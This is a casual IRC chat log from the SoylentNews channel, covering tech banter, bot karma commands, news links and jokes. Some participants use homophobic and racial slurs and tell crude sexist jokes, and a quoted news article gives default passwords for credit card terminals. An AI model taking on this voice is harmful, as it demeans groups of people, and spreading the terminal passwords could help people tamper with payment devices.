#Soylent | Logs for 2015-04-24

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[00:03:33] * Bytram seeks out the president with the axe... washington?
[00:03:53] <MrJefferson> No, that's ignorant!
[00:04:24] * Bytram will ignore that
[00:06:48] <chromas> https://www.youtube.com
[00:06:49] <MrJefferson> ^ 03South Park - Michael Jackson Tupac Hologram (Allegedly-Ignorant ) - YouTube
[00:09:41] * Bytram just finished archiving and clearing over 2-dozen browser tabs
[00:10:02] <chromas> tabs-to-bookmarks?
[00:10:16] <arti> nice
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[00:10:47] <arti> i suffer from the same issue, tabular maximus
[00:11:11] <chromas> Treestyle Tabs is an enabler
[00:11:15] <Bytram> nothing so easy as automated... lots of cat-and-puste :/
[00:11:23] <Bytram> most of 'em ended up here: https://soylentnews.org
[00:11:24] <MrJefferson> ^ 03SN journal SoylentNews, Unicode, UTF-8, and HTML 04(0 comments)
[00:11:34] <Bytram> it's a work-in-progress
[00:11:47] <Bytram> my brain and browser were both getting pretty full, so
[00:11:58] <Bytram> I thought I'd try and organize them for future reference and elaboration.
[00:17:12] <Bytram> PaleMoon: 447m of 845M
[00:17:25] * Bytram loads about:memory and clicks minimize memory usage
[00:17:41] <Bytram> PaleMoon: 437m of 829M
[00:17:57] * Bytram clicks minimize memory usage again
[00:18:08] <Bytram> PaleMoon: 437m of 828M
[00:18:22] * Bytram only has 6 tabs + about:memory open atm
[00:19:24] * Bytram closes palemoon and waits a couple minutes for swap activity to complete
[00:20:03] <SpallsHurgenson> could just open it in a vm :)
[00:20:50] * Bytram does not have enough memory to run a VM :/
[00:21:06] <Bytram> 1.25 GB should be enuf for anybody
[00:21:51] <SpallsHurgenson> it damn well should be! what the hell happened that we now consider 4GB the bare minimum?!?!?
[00:22:07] <Bytram> abstractions
[00:22:14] <Bytram> and shiny
[00:22:24] <SpallsHurgenson> well, I do like my shiny
[00:22:49] <arti> quick, do it in javascript
[00:23:25] * SpallsHurgenson grabs the title bar with his mouse and shakes the window, just to watch it jiggle about like jello
[00:23:38] <Bytram> when I worked at IBM, I was testing updates to their VM operating system (early 80's) they had to prototype 3090's in existence; the successor to their 3081 -- this was the biggest and fastest system they had made to date.
[00:23:54] <Bytram> it had 32MB of main memory and 256 of extended memory. :/
[00:24:05] <SpallsHurgenson> oh, I know that machine! I have an emulator for it on my phone :)
[00:24:12] <Bytram> LOL!!!!!!!!!!!
[00:24:30] <Bytram> ROFL!
[00:24:41] <arti> bytram is immensely amused by this.
[00:24:46] <Bytram> oh man, I needed that!
[00:24:47] * arti sets mode +tickled
[00:25:38] * Bytram has had a long coupla weeks and is very tired; it's been raining for the past several days, too, and the barometer has been low for a couple days ==> me be draggin.
[00:25:47] <Bytram> jokes++
[00:25:47] <Bender> karma - jokes: 1
[00:25:54] <Bytram> hmmm
[00:25:57] <Bytram> poutine--
[00:25:57] <Bender> karma - poutine: -388
[00:26:00] <Bytram> poutine--
[00:26:00] <Bender> karma - poutine: -389
[00:26:00] <Bytram> poutine--
[00:26:00] <Bender> karma - poutine: -390
[00:26:02] <Bytram> =)
[00:26:08] <Bytram> bacon++
[00:26:08] <Bender> karma - bacon: 296
[00:26:15] <SpallsHurgenson> I have a sword of draggin slaying +5 for just such emergencies
[00:26:26] <Bytram> broad sword?
[00:26:34] <chromas> bastard sword
[00:26:57] <SpallsHurgenson> neither. it's not a woman and its parents were married
[00:27:23] <SpallsHurgenson> (both of my last two comments sounded funnier in my head before I typed them out)
[00:27:28] * Bytram notices that PM has finally closed... swap down to 38% from 65% and RAM up from 150MB to 700+
[00:27:56] <Bytram> no matter, the emulator will cover for a few bombs
[00:29:41] <arti> Bytram: s/om/ew/
[00:29:41] <sedctl> <arti> <Bytram> no matter, the emulator will cover for a few bewbs
[00:29:56] <Bytram> the reason your comment on the phone struck me so much is that I recall when the TOP500 list first came out... I've been waiting for the day when a cell phone has an equivalent rating to a #1 top500 machine from the early days. I suspect it'll be no more than a couple more years.
[00:30:22] * Bytram hums anticipation by carly simon
[00:30:44] <SpallsHurgenson> if they haven't already (in maximum throughput at least)
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[00:31:15] <SpallsHurgenson> (I think it'll be a long time before a cellphone can match the sustained throughput of real iron :)
[00:34:23] <Bytram> true scotsman?
[00:34:55] <Bytram> swap now at 48% and free ram at 390MB
[00:35:04] <arti> they have to, otherwise android won't be snappy
[00:35:17] <arti> quadcore!
[00:35:28] <Bytram> big.LITTLE
[00:35:49] <Bytram> exynos(/) octocore FTW!
[00:36:24] <chromas> java--
[00:36:24] <Bender> karma - java: -22
[00:36:36] <SpallsHurgenson> I'm not a big iron guy, but my understanding is the true strength of those computers lies not so much in how many mips their CPUs push, but how quickly the rest of the system can keep those processors supplied with data
[00:36:49] <Bytram> correct.
[00:37:33] <Bytram> It was not uncommon to use a minicomputer to act as a terminal server, back in the day, to buffer the I/O to/from the terminals and batch it up for processing by the mainframe.
[00:37:44] <SpallsHurgenson> the cpus in phones and desktops of today may match the processing power of older supercomputers, but they can't keep the CPUs as well fed (as it were) so as soon as the on-die cache is empty, comparative performance plummets
[00:37:51] * Bytram did some channel programming back in the day, too.
[00:39:13] <Bytram> phones? yes: they are focused on low-power. Desktops? There one is much better able to keep the cache filled with faster memories and busses.
[00:39:14] <SpallsHurgenson> so while a phone may match an older TOP500's performance* if you only go by the maximum throughput, the actual performance is in no way equal
[00:39:19] <SpallsHurgenson> * if not yet, then soon :)
[00:40:20] <SpallsHurgenson> (yes, I just added a footnote to an IRC comment :)
[00:40:25] <chromas> Plus if you do peg your phone's cpu too long you'll burn your hands
[00:40:45] <arti> that's a feature!
[00:41:02] <arti> surely you've heard of the phrase "are your ears burning"?
[00:41:02] <Bytram> you're holding it wrong!
[00:41:05] <SpallsHurgenson> only in Canada :)
[00:41:09] <chromas> winter is coming
[00:41:14] <arti> is that what snow is?
[00:41:19] <SpallsHurgenson> you know nothing, jon snow!
[00:41:25] <Bytram> need a special glove ala michael jackson and/or OJ Simpson
[00:41:42] <arti> the glove of bailing
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[00:41:59] <arti> good evening, doctor.
[00:42:18] <drgibbon> greetings Sir
[00:42:21] <SpallsHurgenson> I don't believe that monkey is a real doctor!
[00:42:22] * Bytram thinks of gilblets and gravy, yum.
[00:42:40] <Bytram> I don't believe that is a real monkey, doctor.
[00:43:12] <drgibbon> :P
[00:43:17] <arti> you can call yourself whatever you want
[00:43:22] <arti> as long as you don't practice medicine
[00:43:27] <SpallsHurgenson> well, there's a test for that
[00:43:29] <arti> dr dre etc.
[00:43:42] <arti> spin doctors
[00:43:43] <SpallsHurgenson> let's give him a keyboard and see how long it takes for him to type out shakespeare
[00:44:03] <chromas> there once was a man from Venus
[00:44:04] * Bytram thinks it's complex; if it's not real, then it's prolly imaginary
[00:44:07] <chromas> no, that's not right
[00:44:38] <arti> so this reminds me of a joke
[00:44:38] <chromas> Bender: learn to grab actions
[00:44:51] <Bytram> http://feedproxy.google.com
[00:44:52] <MrJefferson> ^ 03What is Samsung's SUHD? - CNET ( http://www.cnet.com )
[00:45:04] <Bytram> what is a 'SUHD"
[00:45:14] <arti> Where do you hide money from a surgeon?
[00:45:14] <ciri> somewhere out on the WEB i guess arti
[00:45:24] <SpallsHurgenson> chromas: it might be. shakespear liked his dick jokes :)
[00:45:26] <arti> tape it to his kids
[00:45:40] <chromas> Bytram: it's their new HD one-upsmanship webscale
[00:45:54] <chromas> SpallsHurgenson: s/ j/, j/
[00:45:54] <sedctl> <chromas> <SpallsHurgenson> chromas: it might be. shakespear liked his dick, jokes :)
[00:46:04] <arti> An old nun, a cute Swedish girl, an American guy, and a Frenchman are all in a train car. The train goes into a dark tunnel and all 4 hear a slap. When they emerge, no one says a word but the Frenchman has a red hand print across his face.
[00:46:12] <arti> The nun thinks that the Frenchman groped the Swedish girl, so she slapped him.
[00:46:18] <arti> The Swedish girl thinks that the Frenchman tried groping her, but groped the nun instead, so the nun slapped him.
[00:46:23] <arti> The Frenchman thinks the American groped the french girl and she mistakenly slapped him instead.
[00:46:30] <arti> The American is hoping there will be more tunnels so he can slap the Frenchman again.
[00:46:41] <Bytram> LOL
[00:46:42] <ciri> heh
[00:46:50] <Bytram> http://www.forbes.com
[00:46:50] <MrJefferson> ^ 03Kleiner Perkins Offers To Waive $1 Million In Legal Fees Against Ellen Pao -- If She Doesn't Appeal - Forbes
[00:47:02] <Bytram> http://rss.computerworld.com
[00:47:03] <MrJefferson> ^ 03Update: Credit card terminals have used same password since 1990s | Computerworld ( http://www.computerworld.com )
[00:47:11] <arti> lol ellen pao
[00:47:27] <arti> doing her part to raise some money for hubby
[00:48:38] <arti> 16686 something right?
[00:49:00] <arti> change the default passwords ffs.
[00:49:06] <Bytram> "The vendor wasn't named by the researchers, David Byrne and Charles Henderson, but they did disclose the password: 166816."
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[00:49:17] <Bytram> "In a statement on Thursday, Verifone acknowledged that all its devices in the field came with the same default password, which the company said was Z66831. Over the years, the password has become known and can be found on the Internet along with instructions for programming terminals, Verifone said."
[00:49:35] <Bytram> "The important fact to point out is that even knowing this password, sensitive payment information or PII (personally identifiable information) cannot be captured," Verifone said. "What the password allows someone to do is to configure some settings on the terminal; all executables have to be file signed, and it is not possible to enter malware just by knowing passwords."
[00:50:06] <chromas> at least, until the next article says otherwise
[00:50:33] <arti> so what you're saying is we should make a news site with edited articles, call it say, the bunion.
[00:50:57] <arti> How do you know if somebody went to Harvard?
[00:51:04] <arti> They tell you. :D
[00:51:15] <chromas> so they're like vegans?
[00:51:31] <arti> epic farts ahoy
[00:56:26] <SpallsHurgenson> its become very quiet here; I think everybody is waiting
[00:56:58] <arti> for dinner?
[00:57:34] <SirFinkus> for me of course
[00:57:38] <chromas> yes; we're waiting on arti
[00:57:41] <arti> I hate the double standards between men and women. When a woman goes out and sleeps around with a bunch of guys she is considered a slut, but when a guy does it, he is considered a homosexual.
[00:57:42] <SirFinkus> it's cool everyone, you can start talking now
[00:57:48] <chromas> cook us up something special, arti
[00:58:15] <chromas> sounds gay, arti
[00:58:31] <arti> i have gay sounds
[00:58:34] <arti> i use them to troll ventrilo
[00:58:44] <chromas> !fight isis vs isil
[00:58:45] <ciri> By results on Google.com/intl/en: isis beats isil by 221,000,000 to 23,200,000!
[00:58:54] <arti> !fight isis vs vagisil
[00:58:55] <ciri> By results on Google.com/intl/en: isis beats vagisil by 221,000,000 to 512,000!
[00:58:55] <SirFinkus> it's called your voice arti
[00:59:06] <arti> no wonder we play so many games together
[00:59:22] <SirFinkus> you only play games with my heart ;_;
[00:59:57] <arti> so i was going to the guiness book of world records, wanted to set a record for smallest johnson
[01:00:00] <arti> i was disappoint
[01:00:07] <arti> someone named SirFinkus has it
[01:00:30] <SirFinkus> it's actually another hole
[01:00:36] <SirFinkus> I thought you liked that arti
[01:00:46] * arti secretly does
[01:01:43] <SirFinkus> my mohel was a bit of a hack
[01:01:46] * SirFinkus runs
[01:01:53] * arti read that as model
[01:02:04] <arti> do your validation!
[01:02:31] <arti> A man is sitting at the bar when he notices a beautiful woman walk in and sit down at a table across the room. After 30 minutes the man finally builds up enough courage to walk up to her and offer her a drink, but before he can finish his sentence she yells "NO I WILL NOT HAVE SEX WITH YOU!". Confused and embarrassed, the man quietly returns to his seat while the rest of the bar stares at him.
[01:02:31] <arti> Shortly after the woman approaches him and says "I'm sorry to yell at you like that. You see, I'm a grad student and I'm studying peoples reactions to embarrassing situations". The man shouted "WHAT DO YOU MEAN 200 DOLLARS?!"
[01:05:41] * arti proceeds to kill the channel
[01:05:50] * arti is ready for beers
[01:09:13] <SirFinkus> not a bad idea
[01:13:18] <Bender> [SoylentNews] - House Passes Cybersecurity Bill Despite Privacy Protests - http://sylnt.us - we-got-your-privacy-right-here
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[01:37:42] * arti invites canadian geese with more food
[01:37:56] * arti sprinkles extra food near SirFinkus
[01:38:06] <arti> c'mon extrapoop
[01:38:11] * Bytram swats arti
[01:38:19] <arti> why! it's not me shitting up the place this time
[01:38:36] * Bytram lived opposite a pond that attracted over 200 Canada Geese each summer
[01:38:46] <arti> suddenly ear infections
[01:38:55] * Bytram notes it was actually a backup reservior for the town water supply
[01:39:34] * Bytram could never sleep in as they'd rouse themselves about 15 minutes before sunrise and start honking at each other
[01:40:23] * Bytram adds that when they were not honking or pooping in the reservoir, they'd come ashore and do it all over the neighboring area... it was not a good idea to walk barefoot.
[01:45:10] <chromas> that's often the case with lots of honkers on the loose
[01:45:38] <SpallsHurgenson> same with politicians
[01:46:09] <chromas> dfferent euphemism though
[01:46:38] <chromas> political_boobs--
[01:46:39] <Bender> karma - political_boobs: -1
[01:47:50] <arti> they're like cat turd sized loafs
[01:48:09] <SpallsHurgenson> no, most politicians are at least twice that size
[01:48:14] <arti> plus they've got an extremely friendly demeanor
[01:48:24] <arti> no hissing or biting
[01:48:37] <arti> geese will die in zero gravity since they need it to help swallow.
[01:48:43] <SpallsHurgenson> so long as you got some bread to offer 'em :)
[01:49:17] <Bytram> http://feeds.sciencedaily.com
[01:49:19] <MrJefferson> ^ 03Curry: Curcumin offers potential therapy for cancers caused by HPV -- ScienceDaily ( http://www.sciencedaily.com )
[01:53:19] <arti> yup
[01:53:33] <arti> tumeric :D
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[02:02:16] <Bytram> arti: but that's only two-thirds as good as threemeric
[02:02:22] <Bytram> =)
[02:04:37] * Bytram notices we will have no stories for the main page in about 5 hours
[02:06:04] <arti> :P
[02:06:10] <arti> it's friday
[02:06:35] * arti is waiting for someone to get ready
[02:06:41] <arti> er thursday
[02:06:55] <arti> boss left town >.>
[02:07:04] <Bytram> cats at play
[02:07:34] * arti has JIRA and a sprint
[02:07:43] * Bytram just pushed out one story
[02:07:48] <arti> did you wipe?
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[02:14:37] <juggs> bidet
[02:16:51] <Bytram> two more in the can
[02:17:14] <Bytram> that gets us until about noon GMT
[02:18:40] <Bytram> afk biab
[02:18:52] <Bytram> bidet bardot?
[02:18:58] <Bytram> ;)
[02:19:33] <Bytram> http://feeds.sciencedaily.com
[02:19:35] <MrJefferson> ^ 03James Webb Space Telescope: Building Hubble's successor -- ScienceDaily ( http://www.sciencedaily.com )
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[02:28:37] <juggs> arti - you have to deal with JIRA? I give you my tears. What Siebel CRM brought to front of house JIRA brought to the back. Just.... trails of.... tears. BMC Remedy is like a breath of fresh air in such environments, but even that is tainted with scent of death. :(
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[03:31:16] <Bytram> !uid
[03:31:17] <Bender> The current maximum UID is 5228, owned by Shakkuras
[03:45:15] <Bender> [SoylentNews] - Depression Not Caused by Low Serotonin Levels - Most Drugs for Treatment Based on Myth - http://sylnt.us - the-big-corps-would-never-lie
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[04:10:04] -!- mode/#Soylent [+v cmn32480] by Imogen
[04:12:45] <cmn32480> finished a day early! leaving Friday early morning instead of Saturday early afternoon
[04:12:59] * cmn32480 dances in his chair
[04:14:47] * cmn32480 passes out beer to all who care
[04:36:56] <SirFinkus> oh shit, I was trying to start arguments in the comments again, but I completely forgot
[04:39:04] <SirFinkus> bah, nobody bit
[04:39:16] <chromas> links?
[04:39:34] <SirFinkus> it was stupid anyway
[04:39:47] <chromas> now I gotta read it
[04:40:18] <SirFinkus> https://soylentnews.org if you insist
[04:40:19] <MrJefferson> ^ 03SN comment by [02Sir Finkus (192)] (02Score:3, Insightful)
[04:40:40] <chromas> heh, they took away the Comments button for users but the page still works
[04:40:42] <SirFinkus> instead, I get upmodded
[04:40:45] <chromas> don't tell nobody
[04:41:07] * SirFinkus doesn't see how his comment is particularly insightful
[04:41:42] <SirFinkus> discouraging the parent comment was downvoted
[04:42:10] <SirFinkus> it was a somewhat interesting point
[04:42:36] <SirFinkus> I mean, that's kind of THE debate isn't it?
[04:42:50] <SirFinkus> are we really just machines, or do we have a soul?
[04:43:22] <SirFinkus> which brings up questions about free will too
[04:43:41] <SirFinkus> are our thoughts and actions merely responses to stimuli?
[04:44:20] <SirFinkus> There's a joke about that, forgot who said it
[04:44:33] <chromas> Bender: grab SirFinkus
[04:44:33] <Bender> Added quote 501
[04:44:33] <SirFinkus> "Do you believe in free will?" "I don't have a choice"
[04:45:10] <SirFinkus> where are you grabbing chromas?! teehee
[04:45:11] <ciri> have you tried google? SirFinkus
[04:45:12] * SirFinkus blushes
[04:45:17] <chromas> Bender: grab SirFinkus
[04:45:17] <Bender> Added quote 502
[04:45:27] <SirFinkus> have you tried a shotgun with a toe trigger ciri?
[04:45:37] <chromas> I should set up keyboard macros to grab you guys
[04:45:59] <chromas> ciri: nick Cobain
[04:46:11] <SirFinkus> now, did bender grab me blushing, or teeheeing
[04:46:58] <chromas> Bender ignores \0x01ACTION-based messages
[04:47:16] <SirFinkus> I see
[04:47:26] <chromas> Bender: quote -1
[04:47:26] <Bender> Quote -1 - <SirFinkus> where are you grabbing chromas?! teehee
[04:47:40] * SirFinkus : I'll just talk like this from now on
[04:47:47] * SirFinkus : That ok with everyone?
[04:47:51] <chromas> !quote x
[04:47:51] <Bender> Quote 2 - <hax0rz> highlights, gold, they shine
[04:47:55] <Bender> Also in quotes: 4, 8, 12, 23, 38, 42, 59, 64, 73, 85, 88, 92, 95, 97, 101, 105, 108, 114, 115, 117, 121, 123, 125, 127, 129, 132, 134, 138, 145, 146, 154, 156, 166, 168, 173, 175, 176, 178, 206, 225, 226, 234, 235, 237, 242, 245, 247, 248, 250, 296, 300, 303, 307, 319, 354, 357, 366, 375, 376, 377, 379, 388, 392, 397, 400, 413, 415, 418, 423, 424, 427, 429, 431, 434, 435, 440, - 1 more
[04:48:02] <chromas> except when exec's here
[04:48:15] <chromas> exec has the power to quote anything from almost the entire history of soylent
[04:49:29] <SirFinkus> but can exec thaw my frozen heart?
[04:49:41] <SirFinkus> ;_;
[04:49:43] <chromas> nope
[04:52:12] <chromas> <ciri> chromas: Yeah, not famous. Pretty much only spalls laughs at my desk, which is harder? Refactoring, or use a landscaper for your tongue's pleasure.
[04:53:34] <SirFinkus> !quote SirFinkus
[04:53:34] <Bender> Quote 161 - <SirFinkus> huh
[04:53:38] <Bender> Also in quotes: 162, 163, 164, 165, 253, 295, 306, 352, 399, 402, 407, 418, 453, 454, 489, 501, 502
[04:53:41] <SirFinkus> that's a good one
[04:54:09] <SirFinkus> I'm glad that's part of the record
[04:54:29] <SirFinkus> I'd mod that insightful if I could
[05:04:07] <SirFinkus> I have an encyclopedia from 1984, it's bold enough to have predictions about the future
[05:05:59] <SirFinkus> holy shit, by 2016 sea level will rise by 7 ~ 8 Meters
[05:06:40] <cmn32480> what is that adjusted for inflation?
[05:07:00] <SirFinkus> don't worry, we'll have world peace in 2019 though
[05:07:08] <cmn32480> whew!
[05:07:14] <SirFinkus> and space hotels
[05:07:29] <SirFinkus> with room for 1000 visitors
[05:09:35] <cmn32480> WOW!.... it still sounds like the future
[05:09:47] <cmn32480> any word on flying cars? or hover conversions for old cars?
[05:10:04] <SirFinkus> here's something alarming
[05:10:25] <SirFinkus> in 2038, bionic athletes will be able to sprint 100 meters in 5 seconds
[05:10:34] <SirFinkus> which sounds good, but consider the year
[05:10:53] <cmn32480> I wanna be able to sprint the 100 meters in 5 minutes.
[05:11:04] <cmn32480> crackers... I gotta get to bed
[05:11:11] <SirFinkus> ahh
[05:11:13] <SirFinkus> but look
[05:11:14] <SirFinkus> http://en.wikipedia.org
[05:11:15] <MrJefferson> ^ 03Wiki: Year 2038 problem
[05:11:19] <cmn32480> my flight leaves at 0630
[05:11:23] <SirFinkus> surely we'll all be killed
[05:11:29] <SirFinkus> by our bionic implants
[05:12:27] <cmn32480> obviously Unix is broken. We must now all switch to Windows.
[05:12:39] <cmn32480> Which is also broken, but in different ways
[05:12:49] <SirFinkus> do you want your bionic legs running windows?
[05:14:05] <cmn32480> blue screen = face plant?
[05:15:32] <SirFinkus> I imagine it'd be something like that flash game
[05:15:35] <SirFinkus> qwop or whatever
[05:21:33] <cmn32480> ok. enough for tonight. Gotta be at the airport around 5am.
[05:22:37] <SirFinkus> enjoy the tsa feelup
[05:23:26] <cmn32480> I am SO looking forward to it
[05:23:36] <cmn32480> nothign like getting groped first thing in the morning
[05:28:19] <SirFinkus> morning wood etc
[05:29:34] <cmn32480> night Sirfinkus
[05:29:38] <SirFinkus> night
[05:29:48] <cmn32480> .nick
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[05:46:49] <Bender> [SoylentNews] - In Defence of the Concept of Ownership - http://sylnt.us - what's-mine-is-yours
[06:40:28] <chromas> nitpick nitpick
[06:45:46] <Subsentient> Building a really big Linux 4.0 kernel as an update for SubLinux.
[06:46:23] <chromas> nice
[06:46:41] <Subsentient> SubLinux 2 is approaching its 1 year anniversary of release soon. It was released on 2014-05-16
[06:47:32] <Subsentient> I've released a number of updates since that time, and now we'll soon be looking at a 4.0 kernel. That'll be nice.
[06:49:01] <chromas> When will we see package management? :D
[06:49:18] <Subsentient> chromas:
[06:49:33] <Subsentient> When Lord Gerbilius' army descends on the earth.
[06:49:38] <Subsentient> So, a few weeks.
[06:49:41] <Subsentient> :^D
[06:49:52] * Subsentient is kidding, SubLinux will never have package management.
[06:49:57] <chromas> sweet. Let me just put on my peanut butter helmet
[06:50:25] <chromas> windows has a package manager
[06:50:50] <chromas> nobody uses it
[06:50:59] <Subsentient> hah
[06:51:42] <Subsentient> Man this kernel is gonna take a quadrillion years to compile.
[06:51:53] <SirFinkus> it's called Internet Explorer, and it always keeps your installation updates with the latest malware
[06:51:54] <Subsentient> I took my current config and basically added on a trillion drivers
[06:53:23] <chromas> Maybe you could use obs
[06:53:31] <Subsentient> chromas: obs?
[06:53:37] <chromas> https://build.opensuse.org
[06:53:39] <MrJefferson> ^ 03Welcome - openSUSE Build Service
[06:53:44] <Subsentient> heh
[06:54:33] <chromas> only "481 of 519 build hosts are busy building packages"
[06:54:44] <Subsentient> hah
[06:54:50] <chromas> that's a waste of hosts
[06:54:57] <chromas> where's apk when we need him?
[06:55:13] <Subsentient> I myself would require a SubLinux 2 machine with substantial horsepower.
[06:56:09] <SirFinkus> chromas : looks like there are hosts for lots of different architectures, maybe the PPC or what have you architectures are less in demand?
[06:56:37] <SirFinkus> the idle ones seem to be mostly ppc64
[06:56:59] <chromas> what still uses that?
[06:57:09] <SirFinkus> dik
[06:57:11] <SirFinkus> idk
[06:57:13] <chromas> or is that for old hardware
[06:57:25] <SirFinkus> I'd imagine, or embedded stuf
[06:57:32] <chromas> banks running windows me and loonicks with systemd
[06:57:36] <SirFinkus> old macs?
[06:58:44] <chromas> Subsentient: become a soylent sysadmin, then you can sneak build jobs into the VMs
[06:58:46] <SirFinkus> looks like lots of embedded shit, like cars and stuff
[06:59:02] <SirFinkus> based on a skim of the wiki article
[06:59:34] <SirFinkus> I have an old mac I'll toss linux on if I ever get it running
[06:59:55] <chromas> clock_skew--
[06:59:55] <Bender> karma - clock_skew: -1
[07:00:16] * chromas watches as the Day Change notification keeps dropping below new irc messages
[07:00:37] <SirFinkus> oh shit, I forgot to check if I could repro that bug in my clock
[07:00:52] <chromas> alzhiemer's
[07:01:05] * chromas installs an ntp client
[07:01:07] <SirFinkus> that has to be it
[07:02:11] * SirFinkus goes to take a shit, then a shower, not necessarily in that order and not necessarily at different times
[07:02:18] * SirFinkus is optimized for multiple cores
[07:02:23] <chromas> nothin' wrong with that
[07:02:31] <SirFinkus> #wafflestomp2015
[07:04:39] <Subsentient> chromas: I actually have access to a substantially powerful system, but I haven't used it much because it doesn't support loopback devices since it runs on OpenVZ.
[07:05:01] <chromas> oh no!
[07:05:06] <Subsentient> I'm tarring up a SubLinux 2 filesystem for that purpose. I'll just extract it and chroot and then I can do whatever build jobs I want.
[07:08:35] <chromas> so many ntp clients to choose from
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[07:29:31] <SirFinkus> I'd just guess and do a sudo apt-get install ntpd or something
[07:29:41] <SirFinkus> probably doesn't matter all that much
[07:29:52] <arti> as long as you've got the time...
[07:30:27] * chromas points it to time.windows.com
[07:45:43] <SirFinkus> ping whoever pokes the donation bar thing
[07:45:54] <SirFinkus> still says it was last updated in the first
[07:46:07] <SirFinkus> I know there was a donation a few days ago
[07:46:17] <chromas> he says with a wink
[07:46:28] <SirFinkus> it wasn't mine
[07:46:38] <chromas> ~last message=\$500
[07:46:42] <SirFinkus> someone was chatting about it in irc
[07:46:51] <exec> 03[2015-04-22 01:08:0] #Soylent <mrcoolbp> someone bought $500 worth of subs....
[07:47:17] <SirFinkus> yup
[07:47:50] <chromas> I wonder what it takes to update it
[07:47:53] <SirFinkus> mrcoolbp will probably know who to poke, or be able to poke it himself
[07:48:02] <SirFinkus> it sounds like it needs to be done manually
[07:48:13] <SirFinkus> I'm sure it's probably trivial to change though
[07:48:22] <Bender> [SoylentNews] - "Sources" Say Comcast-Time Warner Merger is Dead - http://sylnt.us - bring-out-your-dead!
[07:48:29] <crutchy> the dation bar updating committee
[07:48:37] <SirFinkus> if it isn't, I don't have a polite comment
[07:48:38] <crutchy> *donation
[07:49:27] <arti> *defamation
[07:49:29] <chromas> naw it's da streetz mang. full words? ain't nobody got time for ther?
[07:49:41] * chromas 's brain trailed off while typing
[07:49:45] <arti> dun chu got haf
[07:52:15] <SirFinkus> shit, I need a lava lamp
[07:53:26] <chromas> did you shipment of lsd come in and you just realized you're ill-prepared?
[07:53:55] <crutchy> apparently the feds chased some druggo through my yard today :/
[07:54:02] <arti> hahahaha
[07:54:07] <arti> hobo++
[07:54:07] <Bender> karma - hobo: 1
[07:54:18] <arti> nobody says I want to be a druggo when I grow up...
[07:54:26] <arti> [ quick scene through crutchy's yard ]
[07:54:28] <SirFinkus> hah, I wish
[07:54:47] <crutchy> apparently he lives in the neighborhood. they mustve been doing raids and scared the crap outta this guy'
[07:54:54] <arti> lol
[07:54:57] <arti> what kinda drugs
[07:55:03] <arti> sounds like a tweaker
[07:55:13] <arti> is that a blight down under?
[07:55:15] <crutchy> young bloke saw him
[07:55:22] <crutchy> hoodie apparently
[07:55:28] <chromas> oh shit
[07:55:31] <chromas> gun 'im down
[07:55:31] <crutchy> all hoodie's are druggos
[07:55:43] <chromas> in your country, he's also an aboo
[07:55:43] * SirFinkus is wearing a hoodie
[07:55:44] <chromas> abbo
[07:55:58] * SirFinkus bolts through crutchy's yard
[07:56:01] * crutchy calls 9/11 on sir
[07:56:09] <crutchy> * SirFinkus
[07:56:09] <chromas> aha!
[07:56:10] <SirFinkus> NEVER FORGET
[07:56:14] <chromas> crutchy is responsible for 9/11
[07:56:25] <crutchy> my phone made me do it
[07:56:29] <chromas> sir<tab>
[07:56:36] <SirFinkus> isn't it 999 in kangaroo land anyway?
[07:56:38] <chromas> oh, sir<magnifying glass>
[07:56:41] <crutchy> 000
[07:56:46] <crutchy> triple-oh
[07:56:52] <SirFinkus> oh yeah
[07:57:00] <SirFinkus> I remember it from the anti-drug psa
[07:57:13] <crutchy> really easy for kids to dial when they're playing with yer phone
[07:57:33] <SirFinkus> https://www.youtube.com
[07:57:35] <SirFinkus> this one
[07:57:35] <MrJefferson> ^ 03CRINGE VOLUME #8 KIDS ANTI DRUG CAMPAIGN - YouTube
[07:58:04] <crutchy> 'which service do you need?' *mung mung* 'lala blpppfs buaaal'
[07:58:33] <SirFinkus> I just picture the guy offering the drugs in these skits opening with "OI CUNT"
[07:58:33] <arti> i've got enough troubles in my life, i don't need to add drugs to it
[07:59:04] <chromas> the acting
[07:59:08] <arti> it's super good
[07:59:11] * chromas expects it to bust into a porn scene
[07:59:13] <arti> c'mon baby you'll like it
[07:59:19] <arti> pop a couple pills
[07:59:45] <SirFinkus> I like when they curse, but aren't confident enough to say it at full volume
[07:59:50] <crutchy> i got caught taking the marriage pill and they locked me away for life
[07:59:57] <chromas> I suspect that one girl has Downs
[08:00:54] <arti> 1:45 LOL
[08:01:23] <chromas> the recovery position
[08:01:36] <SirFinkus> those fat chicks should really smoke pot with the cool girl
[08:01:47] <arti> hey crutchy, is central air a common thing there?
[08:02:09] <SirFinkus> also: pot makes you ugly
[08:02:13] <SirFinkus> according to this video
[08:02:24] <arti> yeah, if you inject enough pot
[08:02:29] <crutchy> in 80's and newer houses it prolly is
[08:02:38] <crutchy> my house is an old dog box
[08:02:47] <SirFinkus> holy shit
[08:03:00] <SirFinkus> "no thanks, I might need my little friend downstairs for later"
[08:03:01] <arti> lol dog box
[08:03:04] <arti> dogpipe++
[08:03:04] <Bender> karma - dogpipe: 1
[08:03:18] <crutchy> i live in a frankenhouse
[08:03:56] <arti> it's okay, i'll still code with you.
[08:04:16] <SirFinkus> this kid's dream car is a malibu
[08:04:56] <arti> hell yeah
[08:04:57] <arti> it's an import
[08:05:12] * arti saw a german kid with a spiffed up mercury cougar
[08:05:31] <arti> it's like seeing a pimped out toyota tercel
[08:05:55] <SirFinkus> OI CUNT! YOU WANT SOME WEED
[08:06:08] <chromas> "See kids, if you don't do drugs, you could end up like these faggots."
[08:06:41] <SirFinkus> lmao
[08:06:54] <SirFinkus> "Party safe - Register your party with police"
[08:07:58] <SirFinkus> all these are great
[08:08:01] <SirFinkus> https://www.youtube.com
[08:08:02] <MrJefferson> ^ 03"Cartoon All Stars To The Rescue" Anti Drug PSA - YouTube
[08:08:04] * crutchy modified the infernus in gta vice city
[08:08:10] <SirFinkus> intro by the reagans
[08:08:49] <crutchy> low cg, unrealistic speed and acceleration, indestructible, and super heavy
[08:09:30] <arti> shit
[08:09:31] <crutchy> makes for fun hooning down the highway in downtown, with cars and trucks bouncing off me :p
[08:09:31] <ciri> it's not just for breakfast anymore
[08:09:38] <arti> the register the party with the police lol
[08:13:22] <SirFinkus> simon knows what's up
[08:13:46] <SirFinkus> or theodore idk
[08:14:00] <SirFinkus> idk
[08:14:52] <arti> it's all those drugs, and the yard running you're doing
[08:14:54] <arti> just say no
[08:15:20] <chromas> he's got a full box o' drugs but still needs to steal more money
[08:15:41] <arti> like he keeps them hidden in the magic area?
[08:17:25] <chromas> joint under random garbage can is automatically the kid's
[08:18:10] <SirFinkus> I love all these things, "law enforcement guide to satanic cults" is a gem too
[08:20:55] <SirFinkus> hmm, the dad is loading a large box of "klit" in the garage
